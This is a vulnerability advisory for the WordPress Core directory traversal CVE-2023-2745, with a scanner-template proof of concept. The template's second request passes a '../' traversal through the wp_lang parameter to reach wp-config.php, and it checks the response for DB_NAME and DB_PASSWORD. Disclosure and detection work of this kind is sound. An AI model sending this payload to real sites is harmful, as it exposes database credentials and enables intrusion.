CVE-2023-2745: WordPress Core <=6.2 - Directory Traversal

2025-08-01 WordPress Core PoC Public

Description

WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ‘wp_lang’ parameter.

PoC

id: CVE-2023-2745

info:
  name: WordPress Core <=6.2 - Directory Traversal
  author: nqdung2002
  severity: medium
  description: |
    WordPress Core is vulnerable to Directory Traversal in versions up to, and including, 6.2, via the ‘wp_lang’ parameter.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    This allows unauthenticated attackers to access and load arbitrary translation files. In cases where an attacker is able to upload a crafted translation file onto the site, such as via an upload form, this could be also used to perform a Cross-Site Scripting attack.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-2745
    - https://www.cvedetails.com/cve/CVE-2023-2745/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-2745
    cwe-id: CWE-22
    epss-score: 0.79527
    epss-percentile: 0.99584
  metadata:
    max-request: 2
    framework: wordpress
  tags: cve,cve2023,wpscan,disclosure,wp,wordpress,lfi,vuln,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins")'
        internal: true

  - raw:
      - |
        GET /wp-login.php?wp_lang=../../../../../../../wp-config.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
          - 'status_code == 200'
        condition: and
# digest: 490a004630440220308c322578c1d95e1bc722234314451ac18e2b1e2358a7c988e356467d91134c022046a1b2580be91c4493b268a45d0b7e1b625ac153c3eca50520c39208e87131de:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities